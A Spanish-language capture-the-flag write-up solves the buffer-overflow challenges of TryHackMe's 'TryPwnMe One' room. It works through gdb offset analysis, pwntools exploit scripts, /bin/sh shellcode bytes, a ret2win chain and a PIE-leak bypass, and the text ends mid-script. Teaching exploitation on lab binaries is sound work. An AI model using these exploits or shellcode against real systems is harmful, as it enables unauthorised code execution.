TryPwnMe One - TryHackMe
Table of Contents
En este post traigo la solución a los retos de la sala TryPwnMe One de la plataforma TryHackMe, esta sala fue creada por mi amigo dplastico , quiero decir que me lo pase muy bien mientras resolvía los retos y estos eran de gran calidad, ademas que aprendi muchisimo durante el proceso. A por ello!.
TryOverflowMe 1
Nos entregan un binario con la siguientes protecciones.
$ checksec overflowme1 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
Tambien tenemos su codigo fuente.
int main(){
setup();
banner();
int admin = 0;
char buf[0x10];
puts("PLease go ahead and leave a comment :");
gets(buf);
if (admin){
const char* filename = "flag.txt";
FILE* file = fopen(filename, "r");
char ch;
while ((ch = fgetc(file)) != EOF) {
putchar(ch);
}
fclose(file);
}
else{
puts("Bye bye\n");
exit(1);
}
}
Analisis del codigo fuente.
Vemos que define una variable admin
con el valor de 0
, luego define un buffer de 0x10
(16 bytes en decimal), con puts
imprime la cadena PLease go ahead and leave a comment :
y toma nuestro input con la funcion gets()
, esto hace que el binario sea vulnerable a Buffer Overflow ya qué esta funcion no controla el tamaño de nuestro input permitiendonos desbordar el buffer. Por ultimo con un condicional if comprueba si la variable admin es igual a 1
, si esto es verdadero habre la flag (flag.txt
) y la muestra por pantalla, si no se cumple la condicion imprime por pantalla Bye bye
y sale del programa con un codigo de estado 1
.
Para resolver este desafío, es necesario modificar el valor de la variable admin
a un valor distinto de 0
para que la condición del if se evalúe como verdadera y se ejecute la lectura de flag.txt
. Dado que gets(buf)
permite una entrada sin restricciones de tamaño, podemos explotar un Buffer Overflow para sobrescribir la variable admin
en memoria. Para ello, primero debemos determinar el offset exacto que separa el inicio del buffer de la dirección de admin
en la pila, lo que nos permitirá calcular el padding necesario. Una vez identificado el desplazamiento correcto, inyectamos una secuencia de bytes que contenga los datos de relleno seguidos del valor 0x1 (o cualquier valor distinto de 0) en la posición correspondiente.
Explotación.
Para calcular el offset vamos abrir el binario utilizando gdb
con la extesión gef
, pondremos un breakpoint en main y ejecutaremos el binario.
────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffdca0│+0x0000: 0x0000000000000000 ← $rsp 0x00007fffffffdca8│+0x0008: 0x0000000000000000 0x00007fffffffdcb0│+0x0010: 0x0000000000000000 0x00007fffffffdcb8│+0x0018: 0x00007ffff7fe5af0 → <dl_main+0000> endbr64 0x00007fffffffdcc0│+0x0020: 0x00007fffffffddb0 → 0x00000000004006c0 → <_start+0000> xor ebp, ebp 0x00007fffffffdcc8│+0x0028: 0x00007fffffffddf8 → 0x00007fffffffe16e → "/home/abund4nt/pwn/TryHackMe/TryPwnMe One/TryOverF[...]" 0x00007fffffffdcd0│+0x0030: 0x00007fffffffdd70 → 0x00007fffffffddd0 → 0x0000000000000000 ← $rbp 0x00007fffffffdcd8│+0x0038: 0x00007ffff7c2a1ca → <__libc_start_call_main+007a> mov edi, eax ──────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── ● 0x4008da <main+0000> push rbp 0x4008db <main+0001> mov rbp, rsp 0x4008de <main+0004> sub rsp, 0x30 → 0x4008e2 <main+0008> mov eax, 0x0 0x4008e7 <main+000d> call 0x4007a2 <setup> 0x4008ec <main+0012> mov eax, 0x0 0x4008f1 <main+0017> call 0x4007e5 <banner> 0x4008f6 <main+001c> mov DWORD PTR [rbp-0x4], 0x0 0x4008fd <main+0023> lea rdi, [rip+0x33c] # 0x400c40
Al ejecutar el binario y analizar su flujo de ejecución, se observa que el programa mueve el valor del registro rsp
al rbp
, estableciendo así el stack frame. Posteriormente, se resta 0x30
(48 en decimal) a rsp
, reservando espacio en la pila para variables locales. La instrucción mov DWORD PTR [rbp-0x4], 0x0
inicializa la variable admin
en 0
, ubicándola en rbp-0x4
. Para determinar el offset se debe calcular la distancia entre el inicio del buffer y la dirección de admin
en la pila. Dado que rsp
se decrementó en 0x30
y admin
está en rbp-0x4
, el desplazamiento requerido es 0x30 - 0x4 = 0x2c
(44 en decimal). Con este valor, podemos construir un payload con 44 bytes de relleno seguidos de un valor distinto de 0
(en este caso sera 1
), logrando así modificar la variable admin y forzar la ejecución del bloque de código que imprime la bandera.
Flag
Para resolver el desafio cree un script el cual envia 16 bytes (En A
’s) por el buffer definido char buf[0x10];
mas 28 bytes (En B
’s) el cual representa el padding y por ultimo el valor de 1
en 8 bytes (\x01) para sobreescribir la variable.
from pwn import *
context.binary = ELF('./overflowme1')
p = remote('10.10.119.55', 9003)
payload = b'A' * 16 # char buf[0x10];
payload += b'B' * 28 # padding
payload += p8(1)
p.sendline(payload)
p.interactive()
Al ejecutarlo podemos obtener la flag en la instancia remota.
$ python3 solve.py Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No [+] Opening connection to 10.10.119.55 on port 9003: Done [*] Switching to interactive mode ___ ___ ___ /__/\ /__/\ / /\ \ \:\ | |::\ / /:/ \__\:\ | |:|:\ / /:/ ___ / /::\ __|__|:|\:\ / /::\ /__/\ /:/\:\ /__/::::| \:\ /__/:/\:\ \ \:\/:/__\/ \ \:\~~\__\/ \__\/ \:\ \ \::/ \ \:\ \ \:\ \ \:\ \ \:\ \__\/ \ \:\ \ \:\ \__\/ \__\/ Please go ahead and leave a comment : THM{Oooooooooooooovvvvverrrflloowwwwww} [*] Got EOF while reading in interactive
TryOverflowMe 2
Nos entregan un binario con las siguientes protecciones.
$ checksec overflowme2 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
Tambien tenemos su codigo fuente.
int read_flag(){
const char* filename = "flag.txt";
FILE* file = fopen(filename, "r");
if(!file){
puts("the file flag.txt is not in the current directory, please contact support\n");
exit(1);
}
char ch;
while ((ch = fgetc(file)) != EOF) {
putchar(ch);
}
fclose(file);
}
int main(){
setup();
banner();
int admin = 0;
int guess = 1;
int check = 0;
char buf[64];
puts("Please Go ahead and leave a comment :");
gets(buf);
if (admin==0x59595959){
read_flag();
}
else{
puts("Bye bye\n");
exit(1);
}
}
Analisis del codigo fuente.
El código define la función read_flag()
, cuya finalidad es abrir el archivo flag.txt
y mostrar su contenido en pantalla. Si el archivo no se encuentra en el directorio actual, el programa imprime un mensaje de error y finaliza la ejecución. En la función main()
, se declaran las variables admin
, guess
y check
, junto con un buffer de 64
bytes. Posteriormente, el programa muestra el mensaje Please Go ahead an leave a comment :
y recibe la entrada del usuario mediante gets()
, lo que hace que el binario sea vulnerable a Buffer Overflow. Luego, se evalúa si la variable admin contiene el valor 0x59595959
; en caso afirmativo, llama a la funcion read_flag()
, permitiendo acceder a la bandera. De lo contrario, se imprime Bye bye
y el programa finaliza con un código de salida 1
. Esta implementación es vulnerable a sobrescritura de variables en memoria, permitiendo modificar admin mediante un desbordamiento de buffer para desencadenar la ejecución de read_flag()
.
Para resolver el desafío, debemos explotar el Buffer Overflow para sobrescribir la variable admin
con el valor 0x59595959
. Para lograrlo, primero se debe calcular el offset exacto que permita llenar completamente el buffer y alcanzar la dirección de admin en la memoria. Esto se consigue enviando una entrada controlada con el número preciso de bytes que desborde el buffer y sobrescriba la variable de manera predecible, garantizando así la ejecución de read_flag()
.
Explotación.
Abriremos el binario en GDB y utilizaremos el comando disass
obtener el desensamblado de la función main()
, lo que nos permitirá analizar su flujo de ejecución y las instrucciones clave.
gef➤ disass main Dump of assembler code for function main: 0x0000000000400950 <+0>: push rbp 0x0000000000400951 <+1>: mov rbp,rsp 0x0000000000400954 <+4>: sub rsp,0x50 0x0000000000400958 <+8>: mov eax,0x0 0x000000000040095d <+13>: call 0x400818 <setup> 0x0000000000400962 <+18>: mov eax,0x0 0x0000000000400967 <+23>: call 0x40085b <banner> 0x000000000040096c <+28>: mov DWORD PTR [rbp-0x4],0x0 0x0000000000400973 <+35>: mov DWORD PTR [rbp-0x8],0x1 0x000000000040097a <+42>: mov DWORD PTR [rbp-0xc],0x0 0x0000000000400981 <+49>: lea rdi,[rip+0x358] # 0x400ce0 0x0000000000400988 <+56>: call 0x400640 <puts@plt> 0x000000000040098d <+61>: lea rax,[rbp-0x50] 0x0000000000400991 <+65>: mov rdi,rax 0x0000000000400994 <+68>: mov eax,0x0 0x0000000000400999 <+73>: call 0x400680 <gets@plt> 0x000000000040099e <+78>: cmp DWORD PTR [rbp-0x4],0x59595959 0x00000000004009a5 <+85>: jne 0x4009b8 <main+104> 0x00000000004009a7 <+87>: mov eax,0x0 0x00000000004009ac <+92>: call 0x4007a2 <read_flag> 0x00000000004009b1 <+97>: mov eax,0x0 0x00000000004009b6 <+102>: jmp 0x4009ce <main+126> 0x00000000004009b8 <+104>: lea rdi,[rip+0x347] # 0x400d06 0x00000000004009bf <+111>: call 0x400640 <puts@plt> 0x00000000004009c4 <+116>: mov edi,0x1 0x00000000004009c9 <+121>: call 0x4006b0 <exit@plt> 0x00000000004009ce <+126>: leave 0x00000000004009cf <+127>: ret End of assembler dump.
Vemos qué mueve el valor del registro rsp
al rbp
, estableciendo así el stack frame. Posteriormente, se resta 0x50 (80 en decimal) a rsp
, reservando espacio en la pila para variables locales. La instrucción mov DWORD PTR [rbp-0x4],0x0
inicializa la variable admin
en 0, ubicándola en rbp-0x4
. Para determinar el offset debemos hacer lo mismo que en el desafio pasado, calcular la distancia entre el inicio del buffer y la dirección de admin
en la pila. Dado que rsp
se decrementó en 0x50
y admin
está en rbp-0x4
, el desplazamiento requerido es 0x50 - 0x4 = 0x4c
(76
en decimal). Con este valor, podemos construir un payload con 76
bytes de relleno seguidos de 0x59595959
, logrando así modificar la variable admin
y forzar la ejecución del bloque de código que imprime la bandera.
Flag
Con el siguiente script podremos resolver el desafio.
from pwn import *
context.binary = ELF('./overflowme2')
p = remote('10.10.119.55', 9004)
payload = b'A' * 64 # char buf[64];
payload += b'B' * 12 # padding
payload += p64(0x59595959) # if (admin==0x59595959)
p.sendline(payload)
p.interactive()
Al ejecutarlo obtendremos la flag.
$ python3 solve.py Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No [+] Opening connection to 10.10.119.55 on port 9004: Done [*] Switching to interactive mode ___ ___ ___ /__/\ /__/\ / /\ \ \:\ | |::\ / /:/ \__\:\ | |:|:\ / /:/ ___ / /::\ __|__|:|\:\ / /::\ /__/\ /:/\:\ /__/::::| \:\ /__/:/\:\ \ \:\/:/__\/ \ \:\~~\__\/ \__\/ \:\ \ \::/ \ \:\ \ \:\ \ \:\ \ \:\ \__\/ \ \:\ \ \:\ \__\/ \__\/ Please go ahead and leave a comment : THM{why_just_the_A_have_all_theFun?} [*] Got EOF while reading in interactive
TryExecMe
Nos entregan un binario con las siguientes protecciones.
$ checksec tryexecme Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments Stripped: No
Vemos que no cuenta con ninguna, especialmente la proteccion NX, lo que nos permitira ejecutar shellcode en la pila.
Tambien tenemos su codigo fuente.
int main(){
setup();
banner();
char *buf[128];
puts("\nGive me your shell, and I will execute it: ");
read(0,buf,sizeof(buf));
puts("\nExecuting Spell...\n");
( ( void (*) () ) buf) ();
}
Analisis del codigo fuente.
En la función main()
, se llaman las funciones setup()
y banner()
, seguidas de la declaración de un buffer buf
de 128
bytes. A continuación, se imprime el mensaje Give me your shell, and I will execute it:
utilizando puts()
, y se recibe la entrada del usuario mediante read(0, buf, sizeof(buf))
. Posteriormente, se imprime Executing Spell...
y se convierte buf en un puntero a función, ejecutándolo directamente. Esto implica que cualquier código inyectado en buf será ejecutado, lo que hace que podamos ejecutar shellcode.
$ ./tryexecme ,---. / | / | / | / | ___,' | < -' : `-.__..--'``-,_\_ |o/ ` :,.)_`> :/ ` ||/) (_.).__,-` |\ /( `.`` `| : \'`-.) ` ; ; | ` /-< | ` / `. ,-_-..____ /| ` :__..-'\ /,'-.__\\ ``-./ :` ; \ `\ `\ `\\ \ : ( ` / , `. \ \` \ \\ | | ` : : .\ \ \ `\_ )) : ; | | ): : (`-.-'\ || |\ \ ` ; ; | | \-_ `;;._ ( ` / /_ | | `-.-.// ,'`-._\__/_,' ; | \:: : / ` , / | || | ( ,' / / | || ,' / | Give me your shell, and I will execute it: test Executing Spell... [1] 136039 segmentation fault (core dumped) ./tryexecme
Al ejecutar el binario e ingresar un texto aleatorio, el programa termina abruptamente y muestra el siguiente mensaje: [1] 136039 segmentation fault (core dumped) ./tryexecme. Esto indica que ocurrió un fallo de segmentación, lo que sugiere que el programa intentó acceder a una región de memoria no permitida, probablemente debido a la manipulación incorrecta del puntero o el desbordamiento de buffer.
En términos simples, un shellcode es un fragmento de código escrito en ensamblador que se convierte en una secuencia de instrucciones en formato hexadecimal. Su propósito es ser inyectado en la memoria de un binario o sistema vulnerable para lograr la ejecución arbitraria de código, generalmente con el objetivo de obtener control sobre el programa o el sistema.
Explotación
Para resolver este desafio buscaremos en Google un shellcode que ejecute /bin/sh
, usare este
.
$ cat s.asm global _start section .text _start: xor rsi,rsi push rsi mov rdi,0x68732f2f6e69622f push rdi push rsp pop rdi push 59 pop rax cdq syscall
Flag
Con este script enviaremos el shellcode a la instacia remota.
from pwn import *
context.binary = ELF('./tryexecme')
p = remote('10.10.119.55', 9005)
shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
payload = shellcode
p.sendline(payload)
p.interactive()
Al ejecutarlo obtendremos una shell y podremos leer la flag.
$ python3 solve.py Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments Stripped: No [+] Opening connection to 10.10.119.55 on port 9005: Done [*] Switching to interactive mode ,---. / | / | / | / | ___,' | < -' : `-.__..--'``-,_\_ |o/ ` :,.)_`> :/ ` ||/) (_.).__,-` |\ /( `.`` `| : \'`-.) ` ; ; | ` /-< | ` / `. ,-_-..____ /| ` :__..-'\ /,'-.__\\ ``-./ :` ; \ `\ `\ `\\ \ : ( ` / , `. \ \` \ \\ | | ` : : .\ \ \ `\_ )) : ; | | ): : (`-.-'\ || |\ \ ` ; ; | | \-_ `;;._ ( ` / /_ | | `-.-.// ,'`-._\__/_,' ; | \:: : / ` , / | || | ( ,' / / | || ,' / | Give me your shell, and I will execute it: Executing Spell... $ ls flag.txt run $ whoami whoami: cannot find name for user ID 1000 $ cat flag.txt THM{Tr1Execm3_with_s0m3_sh3llc0de_w00t}
TryRetMe
Nos entregan un binario con las siguientes protecciones.
$ checksec tryretme Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
Tambien tenemos su codigo fuente.
int win(){
system("/bin/sh");
}
void vuln(){
char *buf[0x20];
puts("Return to where? : ");
read(0, buf, 0x200);
puts("\nok, let's go!\n");
}
int main(){
setup();
vuln();
}
Analisis del codigo fuente
Se define una función win()
, que utiliza la función system()
para ejecutar el comando /bin/sh
, lo que proporcionará un shell interactivo si se invoca correctamente. A continuación, se define la función vuln()
, en la cual se declara un buffer de 0x20
bytes (32
en decimal). La función luego imprime un mensaje solicitando una entrada del usuario, utilizando la función read()
para leer hasta 0x200
bytes (512
en decimal) desde la entrada estándar. Esta discrepancia entre el tamaño del buffer y la cantidad de datos hace que el binario sea vulnerable a Buffer Overflow. Finalmente en la función main()
se llama a vuln()
.
Para resolver este desafío, debemos explotar la vulnerabilidad de Buffer Overflow presente en la función vuln()
. Aprovecharemos el desbordamiento del buffer para sobrescribir la dirección de retorno de la función y redirigir la ejecución del programa hacia la función win()
. Esto nos permitirá ejecutar el comando system("/bin/sh")
y obtener una shell interactiva, desde la cual podremos leer la flag.
Explotación
Lo primero que haremos sera calcular el offset, esto con la finalidad de saber cuantos bytes necesitamos para llegar al rsp y controlar la ejecución del programa, para esto utilizaremos gdb.
gef➤ pattern create 500 [+] Generating a pattern of 500 bytes (n=8) aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaa aabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa [+] Saved as '$_gef0' gef➤ run Starting program: /home/abund4nt/pwn/TryHackMe/TryPwnMe One/TryRetMe/tryretme [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Return to where? : aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaa aabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa ok, let's go! Program received signal SIGSEGV, Segmentation fault. 0x0000000000401236 in vuln () [ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x10 $rbx : 0x00007fffffffde28 → 0x00007fffffffe196 → "/home/abund4nt/pwn/TryHackMe/TryPwnMe One/TryRetMe[...]" $rcx : 0x00007ffff7d1c574 → 0x5477fffff0003d48 ("H="?) $rdx : 0x0 $rsp : 0x00007fffffffdcf8 → "iaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboa[...]" $rbp : 0x6261616161616168 ("haaaaaab"?) $rsi : 0x00007ffff7e04643 → 0xe05710000000000a ("\n"?) $rdi : 0x00007ffff7e05710 → 0x0000000000000000 $rip : 0x0000000000401236 → <vuln+0042> ret $r8 : 0xf $r9 : 0x00007ffff7fca380 → <_dl_fini+0000> endbr64 $r10 : 0x00007ffff7c109d8 → 0x0011001200001bd3 $r11 : 0x202 $r12 : 0x1 $r13 : 0x0 $r14 : 0x0 $r15 : 0x00007ffff7ffd000 → 0x00007ffff7ffe2e0 → 0x0000000000000000 $eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffdcf8│+0x0000: "iaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboa[...]" ← $rsp 0x00007fffffffdd00│+0x0008: "jaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpa[...]" 0x00007fffffffdd08│+0x0010: "kaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqa[...]" 0x00007fffffffdd10│+0x0018: "laaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabra[...]" 0x00007fffffffdd18│+0x0020: "maaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsa[...]" 0x00007fffffffdd20│+0x0028: "naaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabta[...]" 0x00007fffffffdd28│+0x0030: "oaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabua[...]" 0x00007fffffffdd30│+0x0038: "paaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabva[...]" ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x40122f <vuln+003b> call 0x401070 <puts@plt> 0x401234 <vuln+0040> nop 0x401235 <vuln+0041> leave → 0x401236 <vuln+0042> ret [!] Cannot disassemble from $PC ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "tryretme", stopped 0x401236 in vuln (), reason: SIGSEGV ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x401236 → vuln() ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── gef➤ pattern search $rsp [+] Searching for '6961616161616162'/'6261616161616169' with period=8 [+] Found at offset 264 (little-endian search) likely
Necesitamos 264 bytes para sobrescribir el registro rsp
y alcanzar la ejecución controlada. Ahora, el siguiente paso es encontrar un gadget ret
para alinear correctamente el stack, ya que el servidor está corriendo en Ubuntu y requiere que el stack esté alineado a 16
bytes. Utilizaremos la herramienta ropper
para buscar el gadget adecuado y, posteriormente, obtendremos la dirección de la función win()
para redirigir la ejecución hacia ella.
$ ropper --file tryretme --search 'ret' [INFO] Load gadgets for section: LOAD [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] Searching for gadgets: ret [INFO] File: tryretme 0x000000000040101a: ret;
Con la dirección del gadget ret
identificada, el siguiente paso es obtener la dirección de memoria de la función win()
. Para ello, utilizaremos el comando info functions
en gdb
, lo que nos permitirá listar todas las funciones del binario y ubicar la dirección exacta de win()
.
gef➤ info functions All defined functions: Non-debugging symbols: 0x0000000000401000 _init 0x0000000000401070 puts@plt 0x0000000000401080 system@plt 0x0000000000401090 read@plt 0x00000000004010a0 setvbuf@plt 0x00000000004010b0 _start 0x00000000004010e0 _dl_relocate_static_pie 0x00000000004010f0 deregister_tm_clones 0x0000000000401120 register_tm_clones 0x0000000000401160 __do_global_dtors_aux 0x0000000000401190 frame_dummy 0x0000000000401196 setup 0x00000000004011dd win 0x00000000004011f4 vuln 0x0000000000401237 main 0x0000000000401260 __libc_csu_init 0x00000000004012d0 __libc_csu_fini 0x00000000004012d8 _fini
Con toda la información recopilada, podemos comenzar a escribir el exploit. Primero enviaremos 264 bytes de paddings (En A
’s) para alcanzar el registro rsp
. Luego, añadiremos la direccion del gadget ret
para alinear el stack correctamente y finalmente incluiremos la direccion de la funcion win()
, lo que permitira redirigir la ejecución y obtener una shell interactiva.
Flag
Con el siguiente script podremos resolver el desafio.
from pwn import *
context.binary = ELF('./tryretme')
p = remote('10.10.120.202', 9006)
offset = 264
junk = b'A' * offset
RET = 0x000000000040101a
payload = junk
payload += p64(RET)
payload += p64(0x00000000004011dd)
p.sendline(payload)
p.interactive()
Al ejecutarlo obtendremos una shell y podremos leer la flag.
$ python3 solve.py Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No [+] Opening connection to 10.10.120.202 on port 9006: Done [*] Switching to interactive mode Return to where? : ok, let's go! $ ls flag.txt run $ cat flag.txt THM{a_r3t_to_w1n_by_thm}
Random Memories
Nos entregan un binario con las siguientes protecciones.
$ checksec random Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No
Esta vez tenemos el PIE y ASLR habilitado, lo que significa que se carga en una dirección de memoria aleatoria cada vez que se ejecuta.
Si quieren profundizar mas en este concepto de bypass ASLR les recomiendo leer este articulo.
Tambien tenemos el codigo fuente del binario.
int win(){
system("/bin/sh\0");
}
void vuln(){
char *buf[0x20];
printf("I can give you a secret %llx\n", &vuln);
puts("Where are we going? : ");
read(0, buf, 0x200);
puts("\nok, let's go!\n");
}
int main(){
setup();
banner();
vuln();
}
Analisis del codigo fuente
Define una función win()
que ejecuta el comando /bin/sh
, lo que nos interesa para la explotación. La función vuln()
reserva un buffer de 0x20
bytes (32
en decimal) en la pila, luego imprime su dirección de memoria con printf()
, y luego lee hasta 0x200
bytes (512
en decimal) de entrada del usuario mediante read()
, haciendo que sea vulnerable a Buffer Overflow. La vulnerabilidad surge porque read()
no impone límites adecuados, permitiendo escribir más allá del buffer reservado. Si ejecutamos el script veremos el leak del buffer.
$ ./random ___ ___ ___ ___ / \ / \ / \ / \ | CODE| | STACK| | HEAP| | LIBS| \_____/ \_____/ \_____/ \_____/ ^ ^ ^ ^ | | | | Powered by THMlabs Unpredictable locations I can give you a secret 628acb956319 Where are we going? : test ok, let's go!
Para resolver el desafío, aprovecharemos la filtración (leak) de la dirección del buffer para calcular la dirección base del binario. A partir de esto, podremos determinar dinámicamente los offsets necesarios para la función win()
y el gadget ret
.
Explotación
Primero, almacenaremos la dirección filtrada del buffer en una variable. Para ello, utilizaremos el siguiente script en Python.
from pwn import *
context.binary = ELF('./random', checksec=False)
p = process()
p.recvuntil(b'I can give you a secret ')
buffer_leak = int(p.recvline().strip(), 16)
log.info(f'Buffer leak = {hex(buffer_leak)}')
Al ejecutar el script varias veces, podemos observar que la dirección del buffer cambia en cada ejecución debido a las protecciones habilitadas. Con esto ya tenemos para calcular los offsets necesarios.
RandomMemories $ python3 debug.py [+] Starting local process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random': pid 69296 [*] Buffer leak = 0x5b4f132a6319 [*] Stopped process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random' (pid 69296) RandomMemories $ python3 debug.py [+] Starting local process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random': pid 69306 [*] Buffer leak = 0x57b32116b319 [*] Stopped process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random' (pid 69306) RandomMemories $ python3 debug.py [+] Starting local process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random': pid 69317 [*] Buffer leak = 0x5dc25f290319 [*] Stopped process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random' (pid 69317) RandomMemories $ python3 debug.py [+] Starting local process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random': pid 69350 [*] Buffer leak = 0x60cf0d1f1319 [*] Stopped process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random' (pid 69350)
Ahora utilizando objdump
, vamos a obtener la dirección de memoria donde comienza la función vuln()
. Esto nos permitirá calcular la dirección base del binario. Dado que PIE (Position Independent Executable) está habilitado, la dirección base del binario se asignará de forma aleatoria en cada ejecución. Por lo tanto, la dirección real de vuln()
cambiará constantemente.
$ objdump -d random | grep vuln -A 5 0000000000001319 <vuln>: 1319: f3 0f 1e fa endbr64 131d: 55 push %rbp 131e: 48 89 e5 mov %rsp,%rbp 1321: 48 81 ec 00 01 00 00 sub $0x100,%rsp 1328: 48 8d 35 ea ff ff ff lea -0x16(%rip),%rsi # 1319 <vuln> 132f: 48 8d 3d aa 0e 00 00 lea 0xeaa(%rip),%rdi # 21e0 <_IO_stdin_used+0x1e0> 1336: b8 00 00 00 00 mov $0x0,%eax 133b: e8 70 fd ff ff call 10b0 <printf@plt> 1340: 48 8d 3d b7 0e 00 00 lea 0xeb7(%rip),%rdi # 21fe <_IO_stdin_used+0x1fe> 1347: e8 44 fd ff ff call 1090 <puts@plt> -- 1395: e8 7f ff ff ff call 1319 <vuln> 139a: b8 00 00 00 00 mov $0x0,%eax 139f: 5d pop %rbp 13a0: c3 ret 13a1: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1) 13a8: 00 00 00 $ objdump -d random | grep win -A 5 0000000000001210 <win>: 1210: f3 0f 1e fa endbr64 1214: 55 push %rbp 1215: 48 89 e5 mov %rsp,%rbp 1218: 48 8d 3d e9 0d 00 00 lea 0xde9(%rip),%rdi # 2008 <_IO_stdin_used+0x8> 121f: e8 7c fe ff ff call 10a0 <system@plt> $ objdump -d random | grep ret 101a: c3 ret 1138: c3 ret 1178: c3 ret 11b4: c3 ret 11b8: c3 ret 120f: c3 ret 1226: c3 ret 1318: c3 ret 1373: c3 ret 13a0: c3 ret 1414: c3 ret 1424: c3 ret 1434: c3 ret
El offset de la funcion vuln()
es 0x1319
, de la funcion win()
es 0x1210
y del gadget ret 0x101a
. Con estos valores y el leak del buffer, podemos calcular la dirección base del binario en tiempo de ejecución y, a partir de ahí, determinar las direcciones exactas de win()
y el gadget ret.
Restaremos la dirección del leak con el offset de la función vuln()
, lo que nos da la dirección base del binario. Luego, con la dirección base calculada, sumamos los offsets de la función win()
y del gadget ret
para obtener sus direcciones exactas en memoria. El siguiente script realiza todo este proceso.
from pwn import *
context.binary = ELF('./random', checksec=False)
p = process()
# buffer leak
p.recvuntil(b'I can give you a secret ')
buffer_leak = int(p.recvline().strip(), 16)
log.info(f'Buffer leak = {hex(buffer_leak)}')
# offsets objdump
win_offset = 0x1210
vuln_offset = 0x1319
ret_offset = 0x101a
# offset calculation
base_address = buffer_leak - vuln_offset
